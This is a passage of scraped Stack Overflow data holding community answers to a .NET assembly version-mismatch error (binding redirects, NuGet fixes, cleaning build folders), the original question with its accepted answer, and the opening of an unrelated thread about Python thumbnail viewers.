"text": "<p>I added a NuGet package, only to realize a black-box portion of my application was referencing an older version of the library.</p>\n\n<p>I removed the package and referenced the older version's static DLL file, but the web.config file was never updated from:</p>\n\n<pre><code><dependentAssembly>\n <assemblyIdentity name=\"Newtonsoft.Json\" publicKeyToken=\"30ad4fe6b2a6aeed\" />\n <bindingRedirect oldVersion=\"0.0.0.0-4.5.0.0\" newVersion=\"6.0.0.0\" />\n</dependentAssembly>\n</code></pre>\n\n<p>to what it should have reverted to when I uninstalled the package:</p>\n\n<pre><code><dependentAssembly>\n <assemblyIdentity name=\"Newtonsoft.Json\" publicKeyToken=\"30ad4fe6b2a6aeed\" />\n <bindingRedirect oldVersion=\"0.0.0.0-4.0.0.0\" newVersion=\"4.5.0.0\" />\n</dependentAssembly>\n</code></pre>\n"
},
{
"answer_id": 24078443,
"author": "rjain",
"author_id": 3595268,
"author_profile": "https://Stackoverflow.com/users/3595268",
"pm_score": 1,
"selected": false,
"text": "<p>Manually deleting the old assembly from folder location and then adding the reference to new assemblies might help.</p>\n"
},
{
"answer_id": 25081894,
"author": "Thomas Fauskanger",
"author_id": 1144382,
"author_profile": "https://Stackoverflow.com/users/1144382",
"pm_score": 0,
"selected": false,
"text": "<p>I had the same issue today which prevented me from performing Add-Migration after I made changes in Entity Framework. </p>\n\n<p>I had two projects in my solution, let's call them \"Client\" and \"Data\" - a class library project which held my EF models and context. The Client referenced the Data project.</p>\n\n<p>I had signed both projects, and then later made changes to an EF model. After I removed the signature I were able to add the migrations, and could then signed the project anew.</p>\n\n<p>I hope this can be useful for someone, sparing them of prolonged frustration..</p>\n"
},
{
"answer_id": 25978190,
"author": "Tim",
"author_id": 2358847,
"author_profile": "https://Stackoverflow.com/users/2358847",
"pm_score": 0,
"selected": false,
"text": "<p>I had this problem after starting to use InstallShield. Even though the build order showed the installation project to be last it was building out of order.</p>\n\n<p>I corrected this by making every other project dependent upon it - this forced the installation to build last and thereby removed my assembly mismatching. I hope this helps.</p>\n"
},
{
"answer_id": 27344805,
"author": "Tomas Kubes",
"author_id": 518530,
"author_profile": "https://Stackoverflow.com/users/518530",
"pm_score": 1,
"selected": false,
"text": "<p>In my case the problem was between the chair and the keyboard :-)</p>\n\n<pre><code>Could not load file or assembly 'DotNetOpenAuth.Core, Version=4.0.0.0,\nCulture=neutral, PublicKeyToken=2780ccd10d57b246' or one of its dependencies.\nThe located assembly's manifest definition does not match the assembly reference.\n(Exception from HRESULT: 0x80131040)\n</code></pre>\n\n<p>Two or more different assemblies wanted to use a different version of the DotNetOpenAuth library, and that would not be a problem. Furthermore, on my local computer a web.config was automatically updated by NuGet:</p>\n\n<pre><code><dependentAssembly>\n <assemblyIdentity name=\"DotNetOpenAuth.AspNet\" publicKeyToken=\"2780ccd10d57b246\" culture=\"neutral\" />\n <bindingRedirect oldVersion=\"0.0.0.0-4.3.0.0\" newVersion=\"4.3.0.0\" />\n </dependentAssembly>\n <dependentAssembly>\n <assemblyIdentity name=\"DotNetOpenAuth.Core\" publicKeyToken=\"2780ccd10d57b246\" culture=\"neutral\" />\n <bindingRedirect oldVersion=\"0.0.0.0-4.3.0.0\" newVersion=\"4.3.0.0\" />\n</dependentAssembly>\n</code></pre>\n\n<p>Then I realized that I had forgot to copy/deploy the new web.config to the production server. So if you have manual way of deploying web.config, check it is updated. If you have completely different web.config for production server, you have to merge these dependentAssembly section in sync after using NuGet.</p>\n"
},
{
"answer_id": 29944772,
"author": "user4846550",
"author_id": 4846550,
"author_profile": "https://Stackoverflow.com/users/4846550",
"pm_score": 1,
"selected": false,
"text": "<p>I got the same error...\nIn my case it got resolved as follows:</p>\n\n<ul>\n<li>At first when the application was installed then the people here had used Microsoft Enterprise Library 4.1 in the application.</li>\n<li>In previous week my machine was formatted & after that today when I built that application then it gave me an error that Enterprise Library assembly is missing.</li>\n<li>Then I installed Microsoft Enterprise Library 5.0 which I got on Google as first search entry. </li>\n<li>Then when I built the application then it gave me the above error i.e. The located assembly's manifest definition does not match the assembly reference.</li>\n<li>After much of a search work & analysis, I found that application was referring 4.1.0.0 & the DLL in the bin folder was of the version 5.0.0.0</li>\n<li>What i did was then I installed the Microsoft Enterprise Library 4.1.</li>\n<li>Removed the previous reference(5.0) & added the 4.0 reference.</li>\n<li>Built the application & voila...it worked.</li>\n</ul>\n"
},
{
"answer_id": 31449054,
"author": "cederlof",
"author_id": 198953,
"author_profile": "https://Stackoverflow.com/users/198953",
"pm_score": 3,
"selected": false,
"text": "<p>I got this error while building on Team Foundation Server's build-service. It turned out I had multiple projects in my solution using different versions of the same library added with NuGet. I removed all old versions with NuGet and added the new one as reference for all.</p>\n\n<p>Team Foundation Server puts all DLL files in one directory, and there can only be one DLL file of a certain name at a time of course.</p>\n"
},
{
"answer_id": 34084325,
"author": "netniV",
"author_id": 697159,
"author_profile": "https://Stackoverflow.com/users/697159",
"pm_score": 0,
"selected": false,
"text": "<p>This can also occur if you are using both AssemblyInfo.cs with the AssemblyVersion tags and your .csproj file has with a different value. By either matching the AssemblyInfo or removing the section all together the problem goes away.</p>\n"
},
{
"answer_id": 39947114,
"author": "Levi Fuller",
"author_id": 2535344,
"author_profile": "https://Stackoverflow.com/users/2535344",
"pm_score": 5,
"selected": false,
"text": "<p>In my case, this error occurred while running an ASP.NET application.\nThe solution was to:</p>\n\n<ol>\n<li>Delete the <code>obj</code> and <code>bin</code> folders in the project folder</li>\n</ol>\n\n<p>Clean didn't work, rebuild didn't work, all references were fine, but it wasn't writing one of the libraries. After deleting those directories, everything worked perfectly.</p>\n"
},
{
"answer_id": 40614345,
"author": "Mike Gledhill",
"author_id": 391605,
"author_profile": "https://Stackoverflow.com/users/391605",
"pm_score": 2,
"selected": false,
"text": "<p>Here's my method of fixing this issue.</p>\n\n<ol>\n<li>From the exception message, get the name of the \"problem\" library and the \"expected\" version number.</li>\n</ol>\n\n<p><a href=\"https://i.stack.imgur.com/8XKgk.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8XKgk.png\" alt=\"enter image description here\"></a></p>\n\n<ol start=\"2\">\n<li>Find <strong>all copies</strong> of that .dll in your solution, right-click on them, and check which version of the .dll it is.</li>\n</ol>\n\n<p><a href=\"https://i.stack.imgur.com/QxmEp.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/QxmEp.png\" alt=\"enter image description here\"></a></p>\n\n<p>Okay, so in this example, my .dll is definitely 2.0.5022.0 (so the Exception version number is wrong).</p>\n\n<ol start=\"3\">\n<li>Search for the version number which was shown in the Exception message in all of the <strong>.csproj</strong> files in your solution. Replace this version number with the actual number from the dll.</li>\n</ol>\n\n<p>So, in this example, I would replace this...</p>\n\n<pre><code><Reference Include=\"DocumentFormat.OpenXml, Version=2.5.5631.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL\" />\n</code></pre>\n\n<p>... with this...</p>\n\n<pre><code><Reference Include=\"DocumentFormat.OpenXml, Version=2.0.5022.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL\" />\n</code></pre>\n\n<p>Job done !</p>\n"
},
{
"answer_id": 41731441,
"author": "OldDog",
"author_id": 3600373,
"author_profile": "https://Stackoverflow.com/users/3600373",
"pm_score": 0,
"selected": false,
"text": "<p>OK, one more answer. I previously created my app as 64 bit and changed the output path (Project/Properties/Build/Output/Output Path) accordingly. Recently I changed the app to 32 Bit (x86), creating a new output path. I created a shortcut to where I <em>thought</em> the compiled .exe was going. No matter what I changed about the source, it got the manifest not matching error. After about an hour of frustration, I happened to check the date/time of the .exe file, saw it was old obviously referencing old .dll's. <strong>I was compiling the app into the old directory and my shortcut was referencing the newer.</strong> Changed the output path to where the .exe <em>should</em> go, ran the shortcut and error is gone. <em>(slaps forehead)</em></p>\n"
},
{
"answer_id": 43927184,
"author": "erhan355",
"author_id": 5433590,
"author_profile": "https://Stackoverflow.com/users/5433590",
"pm_score": 2,
"selected": false,
"text": "<p>The question has already an answer, but if the problem has occurred by NuGet package in different versions in the same solution, you can try the following.</p>\n\n<p>Open NuGet Package Manager, as you see my service project version is different than others.</p>\n\n<p>Then update projects that contain an old version of your package.</p>\n\n<p><a href=\"https://i.stack.imgur.com/dYt7J.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/dYt7J.png\" alt=\"Enter image description here\"></a></p>\n"
},
{
"answer_id": 45604369,
"author": "dhiraj1mumbai",
"author_id": 3086603,
"author_profile": "https://Stackoverflow.com/users/3086603",
"pm_score": 2,
"selected": false,
"text": "<p>Just deleting contents of your project's bin folder and rebuild the solution solved my problem. </p>\n"
},
{
"answer_id": 47621866,
"author": "Ganesh Londhe",
"author_id": 4253537,
"author_profile": "https://Stackoverflow.com/users/4253537",
"pm_score": 2,
"selected": false,
"text": "<p>clean and rebuild the solution might not replace all the dll's from the output directory. </p>\n\n<p>what i'll suggest is try renaming the folder from \"bin\" to \"oldbin\" or \"obj\" to \"oldobj\"</p>\n\n<p>and then try build your silution again. </p>\n\n<p>incase if you are using any third party dll's those you will need to copy into newly created \"bin\" or \"obj\" folder after successful build.</p>\n\n<p>hope this will work for you.</p>\n"
},
{
"answer_id": 48191783,
"author": "Bellatorius",
"author_id": 2775839,
"author_profile": "https://Stackoverflow.com/users/2775839",
"pm_score": 0,
"selected": false,
"text": "<p>The problem with me was that there were old dll's dployed that were deleted in a new build.\nTo fix it, I just checked the box to remove additional files at destination when publishing.\n<a href=\"https://i.stack.imgur.com/qLunJ.png\" rel=\"nofollow noreferrer\">Remove additional files at destination</a></p>\n"
},
{
"answer_id": 50878397,
"author": "Jaggan_j",
"author_id": 2093481,
"author_profile": "https://Stackoverflow.com/users/2093481",
"pm_score": 1,
"selected": false,
"text": "<p>If you ever get an error like \"<em>The located assembly's manifest definition does not match the assembly reference</em>\" and if you have updated via <strong>Project > Manage NuGet Packages and Update tab in VS</strong>, the first thing you could do is try installing another version of the package after checking versions from <a href=\"https://www.nuget.org/\" rel=\"nofollow noreferrer\">NuGet Gallery page</a> and running the folowing command from Package Manager Console:</p>\n\n<pre><code>PM> Install-Package YourPackageName -Version YourVersionNumber \n//Example\nPM> Install-Package Microsoft.Extensions.FileProviders.Physical -Version 2.1.0\n</code></pre>\n\n<p>Although answer is not directly related to the package in question and it was asked way back, it is kind of generic, still relevant and hope it helps someone.</p>\n"
},
{
"answer_id": 50978269,
"author": "Nara",
"author_id": 2961702,
"author_profile": "https://Stackoverflow.com/users/2961702",
"pm_score": 0,
"selected": false,
"text": "<p>Had similar issue mentioned at this post "Any suggestions on how I figure out what is trying to reference this old version of this DLL file?"</p>\n<p>Needed which assembly still refers old ODATA client 6.15.0 , the ildasm helped to narrow down for me (without base code access, only via deployed pkg at server).</p>\n<p>Screen shot below for quick summary.</p>\n<p>DeveloperPackge if don't have ildasm.exe\n<a href=\"https://www.microsoft.com/net/download/visual-studio-sdks\" rel=\"nofollow noreferrer\">https://www.microsoft.com/net/download/visual-studio-sdks</a></p>\n<p><a href=\"https://i.stack.imgur.com/oxSAf.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/oxSAf.png\" alt=\"ildasm usage to resolve assembly mismatch issue\" /></a></p>\n"
},
{
"answer_id": 54354004,
"author": "codeMonkey",
"author_id": 4009972,
"author_profile": "https://Stackoverflow.com/users/4009972",
"pm_score": 5,
"selected": false,
"text": "<p>I am going to blow everyone's mind right now . . .</p>\n\n<p>Delete all the <code><assemblyBinding></code> references from your .config file, and then run this command from the NuGet Package Manager console:</p>\n\n<pre><code>Get-Project -All | Add-BindingRedirect\n</code></pre>\n"
},
{
"answer_id": 54373461,
"author": "Ryan",
"author_id": 6800662,
"author_profile": "https://Stackoverflow.com/users/6800662",
"pm_score": 0,
"selected": false,
"text": "<p>This same error was surfacing for me in my Unit Tests project and resulting in some failing tests. I double-checked which version of the assembly I was using in assembly explorer and checked the contents of the runtime/dependentassembly tags and realized a different version of the assembly I had been using was still being referenced there. Because this was the only directive in my tests project app.config I just tried deleting the entire app.config file, rebuilding the solution, and that did the trick! No more reference errors for me :)</p>\n"
},
{
"answer_id": 55742326,
"author": "mimo",
"author_id": 1212547,
"author_profile": "https://Stackoverflow.com/users/1212547",
"pm_score": 0,
"selected": false,
"text": "<p>I was getting: </p>\n\n<blockquote>\n <p>Could not load file or assembly 'XXX-new' or one of its dependencies. The located assembly's manifest definition does not match the assembly reference. (Exception from HRESULT: 0x80131040)</p>\n</blockquote>\n\n<p>It was because I changed the name of the assembly from <code>XXX.dll</code> to <code>XXX-new.dll</code>. Reverting name back to the original fixed the error.</p>\n"
},
{
"answer_id": 56251014,
"author": "Marzie Keshavarz",
"author_id": 9792223,
"author_profile": "https://Stackoverflow.com/users/9792223",
"pm_score": 0,
"selected": false,
"text": "<p>check the licenses.licx in properties of project you will find the wrong version there.... it worked for me in active report refrences</p>\n"
},
{
"answer_id": 56359672,
"author": "Ogglas",
"author_id": 3850405,
"author_profile": "https://Stackoverflow.com/users/3850405",
"pm_score": 0,
"selected": false,
"text": "<p>Happened to me for <code>System.ValueTuple</code></p>\n\n<blockquote>\n <p>Unexpected Error Could not load file or assembly 'System.ValueTuple,\n Version=4.0.1.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51' or\n one of its dependencies. The system cannot find the file specified.</p>\n</blockquote>\n\n<p>Solved it by installing <code>.NET Framework 4.7.2 Runtime</code> on the machine the error occurred on. Simple and no need to add <code>bindingRedirect</code>, modifying GAC or downgrading NuGet packages etc. </p>\n\n<p><a href=\"https://dotnet.microsoft.com/download/dotnet-framework/net472\" rel=\"nofollow noreferrer\">https://dotnet.microsoft.com/download/dotnet-framework/net472</a></p>\n"
},
{
"answer_id": 57609562,
"author": "Mi1anovic",
"author_id": 4788184,
"author_profile": "https://Stackoverflow.com/users/4788184",
"pm_score": 2,
"selected": false,
"text": "<p>No solution worked for me. I tried clean project solution, remove bin, update package, downgrade package and so on... After two hours I loaded default App.config from project with assemblies and there I changed wrong reference version from:</p>\n\n<pre><code><dependentAssembly>\n <assemblyIdentity name=\"Microsoft.IdentityModel.Logging\" publicKeyToken=\"31bf3856ad364e35\" culture=\"neutral\" />\n <bindingRedirect oldVersion=\"0.0.0.0-5.5.0.0\" newVersion=\"5.5.0.0\" />\n</dependentAssembly>\n</code></pre>\n\n<p>to:</p>\n\n<pre><code><dependentAssembly>\n <assemblyIdentity name=\"Microsoft.IdentityModel.Logging\" publicKeyToken=\"31bf3856ad364e35\" culture=\"neutral\" />\n <bindingRedirect oldVersion=\"0.0.0.0-3.14.0.0\" newVersion=\"5.5.0.0\" />\n</dependentAssembly>\n</code></pre>\n\n<p>After this I cleaned project, build it again and it worked. No warning no problem.</p>\n"
},
{
"answer_id": 57643414,
"author": "Vikrant",
"author_id": 1302617,
"author_profile": "https://Stackoverflow.com/users/1302617",
"pm_score": -1,
"selected": false,
"text": "<p>Please run the code in Visual Studio debugger. Please run till you get the exception. There will be Visual Studio Exception UI. Please read the \"full details\" /\"Show details\" at the bottom of Visual Studio Exception. In Full details/Show details, it told me that one of my project (which was referring to my main project has a different version\n of Microsoft.IdentityModel.Clients.ActiveDirectory). In my case, my unit test project was calling my project. My unit test project and my project has a different version of Microsoft.IdentityModel.Clients.ActiveDirectory. I am getting run time error when my unit test were executing. </p>\n\n<p>I just updated the version of my unit test project with the same version of main project. It worked for me. </p>\n"
},
{
"answer_id": 58266127,
"author": "Mostafa Vatanpour",
"author_id": 5193370,
"author_profile": "https://Stackoverflow.com/users/5193370",
"pm_score": 0,
"selected": false,
"text": "<p>I had similar problem but no answer worked for me. </p>\n\n<p>The solution that worked for me was removing <strong><code>publicKeyToken</code></strong> part from project file(YourProject.csproj) manually.</p>\n\n<p>Previously it had been:</p>\n\n<pre><code><Reference Include=\"Utility, Version=0.0.0.0, Culture=neutral, PublicKeyToken=e71b9933bfee3534, processorArchitecture=MSIL\">\n <SpecificVersion>False</SpecificVersion>\n <HintPath>dlls\\Utility.dll</HintPath>\n</Reference>\n</code></pre>\n\n<p>After change it was:</p>\n\n<pre><code><Reference Include=\"Utility, Version=1.0.1.100, Culture=neutral, processorArchitecture=MSIL\">\n <SpecificVersion>False</SpecificVersion>\n <HintPath>dlls\\Utility.dll</HintPath>\n</Reference>\n</code></pre>\n\n<p>Be sure that <code>SpecificVersion</code> is <code>False</code>.</p>\n"
},
{
"answer_id": 58890317,
"author": "Dale Kilian",
"author_id": 11426872,
"author_profile": "https://Stackoverflow.com/users/11426872",
"pm_score": 0,
"selected": false,
"text": "<p>Solved my issue like this with brute force.</p>\n\n<p>I realised I hand multiple copies of the DLL all over the solution and two different versions.</p>\n\n<p>Went into the solution in explorer, searched for the offending DLL and deleted all of them. Then added the references to the DLL back using the one version of the DLL.</p>\n"
},
{
"answer_id": 62119628,
"author": "Lee Cordell",
"author_id": 4026506,
"author_profile": "https://Stackoverflow.com/users/4026506",
"pm_score": 0,
"selected": false,
"text": "<p>I got stumped with this for a while. I could build and run in release, couldn't in debug due to a reference that didn't match match the manifest. I must have checked the references a hundred times, and deleted all dll's. I noticed that the generated manifest in debug and release were different. </p>\n\n<p>I deleted the app.manifest in my project/properties and it fixed the problem. This didn't include mention of the offending referenced dll's - so I don't know why this was causing a problem. </p>\n"
},
{
"answer_id": 62562448,
"author": "Cole",
"author_id": 13260861,
"author_profile": "https://Stackoverflow.com/users/13260861",
"pm_score": 3,
"selected": false,
"text": "<p>After trying many of the above solutions with no fix, it came down to making sure 'Auto-generate binding redirects' was turned on within your application in Visual Studio.</p>\n<p><a href=\"https://i.stack.imgur.com/bXLq6.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/bXLq6.png\" alt=\"enter image description here\" /></a></p>\n<p>More information on enabling automatic binding redirection can be found here: <a href=\"https://learn.microsoft.com/en-us/dotnet/framework/configure-apps/how-to-enable-and-disable-automatic-binding-redirection\" rel=\"noreferrer\">https://learn.microsoft.com/en-us/dotnet/framework/configure-apps/how-to-enable-and-disable-automatic-binding-redirection</a></p>\n"
},
{
"answer_id": 63128705,
"author": "NITHIN SUHAS",
"author_id": 5879675,
"author_profile": "https://Stackoverflow.com/users/5879675",
"pm_score": 0,
"selected": false,
"text": "<p>Try removing the assembly refernce from your webConfig/appConfig</p>\n<pre><code> <dependentAssembly>\n <assemblyIdentity name="System.IO" publicKeyToken="B03F5F7F11D50A3A" culture="neutral" />\n <bindingRedirect oldVersion="0.0.0.0-4.1.2.0" newVersion="4.3.0.0" />\n </dependentAssembly>\n</code></pre>\n"
},
{
"answer_id": 65125941,
"author": "ChrisBeamond",
"author_id": 10391656,
"author_profile": "https://Stackoverflow.com/users/10391656",
"pm_score": 2,
"selected": false,
"text": "<p>A general answer to this kind of issue is to use binding redirects as in other answers. However, that's only part of the problem - you need to know the correct version of the assembly file that you're using. Windows properties is not always accurate and nuget is also not always accurate.</p>\n<p>The only way to get correct version info is to analyse the file itself. One useful tool is dotPeek. The assembly name listed in dotPeek is always accurate in my experience.</p>\n<p>So for example, the correct binding for this file is the following:</p>\n<pre><code><dependentAssembly>\n <assemblyIdentity name="System.ComponentModel.Annotations" publicKeyToken="b03f5f7f11d50a3a" culture="neutral"/>\n <bindingRedirect oldVersion="0.0.0.0-4.2.1.0" newVersion="4.2.1.0"/>\n</dependentAssembly>\n</code></pre>\n<p>Windows explorer says the file is 4.6.26515.06, nuget says its a 5.0.0.0 file. dotPeek says it is 4.2.1.0 and that is the version that works correctly in our software. Also note that the public key and culture are important and dotPeek also show this information.</p>\n<p><a href=\"https://i.stack.imgur.com/KcEtq.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/KcEtq.png\" alt=\"dotPeek vs Windows version information\" /></a></p>\n"
},
{
"answer_id": 65252938,
"author": "toralux",
"author_id": 3751540,
"author_profile": "https://Stackoverflow.com/users/3751540",
"pm_score": 2,
"selected": false,
"text": "<p>This question is quite old, and I had the same error message recently with Azure DevOps Yaml pipelines and Dotnet Core 3.1. The problem was somewhat different than the other answers try to solve, so I will share my solution.</p>\n<p>I had a solution with many projects for my own nuget packages. I had by accident added version-tag in the *.csproj files like this:</p>\n<pre><code> <Project Sdk="Microsoft.NET.Sdk">\n <PropertyGroup>\n <Version>1.0.0</Version>\n </PropertyGroup>\n</code></pre>\n<p>I packed the nuget packages for all projects using Yaml with a DotnetCoreCLI@2 task:</p>\n<pre><code> - task: DotNetCoreCLI@2\n displayName: 'pack'\n inputs:\n command: pack\n nobuild: true\n configurationToPack: 'Release'\n includesource: true\n includesymbols: true\n packagesToPack: 'MyNugetProject1.csproj;**/MyNugetProject2.csproj'\n versioningScheme: 'byEnvVar'\n versionEnvVar: 'GitVersion.SemVer'\n</code></pre>\n<p>The problem was that the version in the *.csproj files didn't match the version in the environment variable GitVersion.SemVer (specified by input-"versionEnvVar").</p>\n<p>After removing all <code><Version>1.0.0</Version></code>-tags in the *.csproj files the assembly/fileversion for dll was automatically assigned by the environment-variable and both nuget and dll (assembly/fileversion) would have the same version and problem was solved.</p>\n"
},
{
"answer_id": 65734180,
"author": "Carlo Luther",
"author_id": 2333145,
"author_profile": "https://Stackoverflow.com/users/2333145",
"pm_score": 1,
"selected": false,
"text": "<p>I had the same error but in my case I was running a custom nuget package locally into another project.</p>\n<p>What fixed it for me was changing the package version to the version requested in the error.</p>\n<p>The package was in netstandard 2.1 and the project requesting the package was in netcore 3.1</p>\n<p><a href=\"https://i.stack.imgur.com/jY19u.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jY19u.png\" alt=\"enter image description here\" /></a></p>\n"
},
{
"answer_id": 66398938,
"author": "Marek Schwarz",
"author_id": 6406719,
"author_profile": "https://Stackoverflow.com/users/6406719",
"pm_score": 3,
"selected": false,
"text": "<p>Is possible you have a wrong nugget versions in assemblyBinding try:</p>\n<ol>\n<li>Remove all assembly binding content in web.config / app.config:</li>\n</ol>\n<blockquote>\n</blockquote>\n<pre><code><assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">\n <dependentAssembly>\n <assemblyIdentity name="Microsoft.Extensions.Logging.Abstractions" publicKeyToken="adb9793829ddae60" culture="neutral" />\n <bindingRedirect oldVersion="0.0.0.0-3.1.3.0" newVersion="3.1.3.0" />\n </dependentAssembly>\n <dependentAssembly>\n <assemblyIdentity name="Microsoft.Extensions.DependencyInjection" publicKeyToken="adb9793829ddae60" culture="neutral" />\n <bindingRedirect oldVersion="0.0.0.0-3.1.3.0" newVersion="3.1.3.0" />\n </dependentAssembly>\n <dependentAssembly>\n <assemblyIdentity name="System.ComponentModel.Annotations" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />\n <bindingRedirect oldVersion="0.0.0.0-4.2.1.0" newVersion="4.2.1.0" />\n </dependentAssembly>\n</assemblyBinding>\n</code></pre>\n<ol start=\"2\">\n<li>Type in Package Manager Console: Add-BindingRedirect</li>\n<li>All necessary binding redirects are generated</li>\n<li>Run your application and see if it works properly. If not, add any missing binding redirects that the package console missed.</li>\n</ol>\n"
},
{
"answer_id": 66978025,
"author": "bluegreen",
"author_id": 815772,
"author_profile": "https://Stackoverflow.com/users/815772",
"pm_score": 0,
"selected": false,
"text": "<p>Running the migrator to upgrade from using packages.config to PackageReference painlessly fixed this error for me. If you're running Visual Studio 2017 Version 15.7 or later, you can upgrade by following the steps below.</p>\n<p><a href=\"https://learn.microsoft.com/en-us/nuget/consume-packages/migrate-packages-config-to-package-reference#migration-steps\" rel=\"nofollow noreferrer\">https://learn.microsoft.com/en-us/nuget/consume-packages/migrate-packages-config-to-package-reference#migration-steps</a></p>\n<p>Here are the steps (copied from the above link):</p>\n<blockquote>\n<ol>\n<li><p>Open a solution containing project using packages.config.</p>\n</li>\n<li><p>In Solution Explorer, right-click on the References node or the\npackages.config file and select Migrate packages.config to\nPackageReference....</p>\n</li>\n<li><p>The migrator analyzes the project's NuGet package references and\nattempts to categorize them into Top-level dependencies (NuGet\npackages that you installed directly) and Transitive dependencies\n(packages that were installed as dependencies of top-level packages).</p>\n</li>\n</ol>\n<p>Note: PackageReference supports transitive package restore and resolves\ndependencies dynamically, meaning that transitive dependencies need\nnot be installed explicitly.</p>\n<ol start=\"4\">\n<li><p>(Optional) You may choose to treat a NuGet package classified as a\ntransitive dependency as a top-level dependency by selecting the\nTop-Level option for the package. This option is automatically set for\npackages containing assets that do not flow transitively (those in the\nbuild, buildCrossTargeting, contentFiles, or analyzers folders) and\nthose marked as a development dependency (developmentDependency =\n"true").</p>\n</li>\n<li><p>Review any package compatibility issues.</p>\n</li>\n<li><p>Select OK to begin the migration.</p>\n</li>\n<li><p>At the end of the migration, Visual Studio provides a report with a\npath to the backup, the list of installed packages (top-level\ndependencies), a list of packages referenced as transitive\ndependencies, and a list of compatibility issues identified at the\nstart of migration. The report is saved to the backup folder.</p>\n</li>\n<li><p>Validate that the solution builds and runs. If you encounter problems,\nfile an issue on GitHub.</p>\n</li>\n</ol>\n</blockquote>\n"
},
{
"answer_id": 73131315,
"author": "Jay Shah",
"author_id": 2714269,
"author_profile": "https://Stackoverflow.com/users/2714269",
"pm_score": 0,
"selected": false,
"text": "<p>In My case, None of above solutions worked - issue was caused by old .net configuration (2.0) schema defined in app.config because of which bindingRedirect was not working.<br></p>\n<p>Remove xmlns="http://schemas.microsoft.com/.NetConfiguration/v2.0" from app.config or web.config, as it seems like bindingRedirect is not supported in older versions of .net framework like 2.0</p>\n<p><a href=\"https://i.stack.imgur.com/zSjko.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/zSjko.png\" alt=\"enter image description here\" /></a></p>\n<p><br>Hopefully, this will save someone few Hours or Days.</p>\n"
},
{
"answer_id": 73557076,
"author": "bounav",
"author_id": 2472,
"author_profile": "https://Stackoverflow.com/users/2472",
"pm_score": 1,
"selected": false,
"text": "<p>It's not uncommon for .DLLs to report a different version using reflection's <code>Version</code> property in code compared to in the <code>File Explorer's > Properies > Details</code> <em>tab</em>.</p>\n<p>Over the years I found that using this bit of powershell works better to find which version you should set your binding redirect to.</p>\n<pre><code>[Reflection.AssemblyName]::GetAssemblyName('C:\\Source\\Project\\Web\\bin\\System.Memory.dll').Version\n\nMajor Minor Build Revision\n----- ----- ----- --------\n4 0 1 2\n</code></pre>\n<p>From the above I can insert (or replace) the binding redirect in my <code>app.config</code> file:</p>\n<pre class=\"lang-xml prettyprint-override\"><code><dependentAssembly>\n <assemblyIdentity name="System.Memory" culture="neutral" publicKeyToken="cc7b13ffcd2ddd51"/>\n <bindingRedirect oldVersion="0.0.0.0-4.0.1.2" newVersion="4.0.1.2"/>\n</dependentAssembly>\n</code></pre>\n<hr />\n<p>In that particular example the file version reported by the <em>Details</em> tab for <code>System.Memory.dll</code> was <code>4.6.31308.01</code>.</p>\n"
},
{
"answer_id": 73886585,
"author": "T-Jayanth Dore",
"author_id": 9051069,
"author_profile": "https://Stackoverflow.com/users/9051069",
"pm_score": 0,
"selected": false,
"text": "<p>I was stuck in the similar issue .\nUnloaded the solution file and clicked on <strong>edit in csproj</strong> searched for particular dll,\nwent to the path of the dll packages folder , found out there were two different versions of dll having same name so deleted the old one and now builded successfully.</p>\n<p>Hope this helps somebody.</p>\n"
}
] |
2008/10/18
|
[
"https://Stackoverflow.com/questions/215026",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4653/"
] |
I am trying to run some unit tests in a C# Windows Forms application (Visual Studio 2005), and I get the following error:
>
> System.IO.FileLoadException: Could not load file or assembly 'Utility, Version=1.2.0.200, Culture=neutral, PublicKeyToken=764d581291d764f7' or one of its dependencies. The located assembly's manifest definition does not match the assembly reference. (Exception from HRESULT: 0x80131040)\*\*
>
>
> at x.Foo.FooGO()
>
>
> at x.Foo.Foo2(String groupName\_) in Foo.cs:line 123
>
>
> at x.Foo.UnitTests.FooTests.TestFoo() in FooTests.cs:line 98\*\*
>
>
> System.IO.FileLoadException: Could not load file or assembly 'Utility, Version=1.2.0.203, Culture=neutral, PublicKeyToken=764d581291d764f7' or one of its dependencies. The located assembly's manifest definition does not match the assembly reference. (Exception from HRESULT: 0x80131040)
>
>
>
I look in my references, and I only have a reference to `Utility version 1.2.0.203` (the other one is old).
Any suggestions on how I figure out what is trying to reference this old version of this DLL file?
Besides, I don't think I even have this old assembly on my hard drive.
Is there any tool to search for this old versioned assembly?
|
The .NET Assembly loader:
* is unable to find 1.2.0.203
* but did find a 1.2.0.200
This assembly does not match what was requested and therefore you get this error.
In simple words, it can't find the assembly that was referenced. Make sure it can find the right assembly by putting it in the GAC or in the application path.
run below command to add the assembly dll file to GAC:
```bash
gacutil /i "path/to/my.dll"
```
Also see <https://learn.microsoft.com/archive/blogs/junfeng/the-located-assemblys-manifest-definition-with-name-xxx-dll-does-not-match-the-assembly-reference>.
|
215,052 |
<p>What is the best choice for a Python GUI application to display large number of thumbnails, e.g. 10000 or more? For performance reasons such thumbnail control must support virtual items, i.e. request application for those thumbnails only which are currently visible to user. </p>
|
[
{
"answer_id": 215175,
"author": "Jonathan Hartley",
"author_id": 10176,
"author_profile": "https://Stackoverflow.com/users/10176",
"pm_score": 1,
"selected": false,
"text": "<p>If you had to resort to writing your own, I've had good results using the Python Imaging Library to create thumbnails in the past.\n<a href=\"http://www.pythonware.com/products/pil/\" rel=\"nofollow noreferrer\">http://www.pythonware.com/products/pil/</a></p>\n"
},
{
"answer_id": 215257,
"author": "Toni Ruža",
"author_id": 6267,
"author_profile": "https://Stackoverflow.com/users/6267",
"pm_score": 2,
"selected": false,
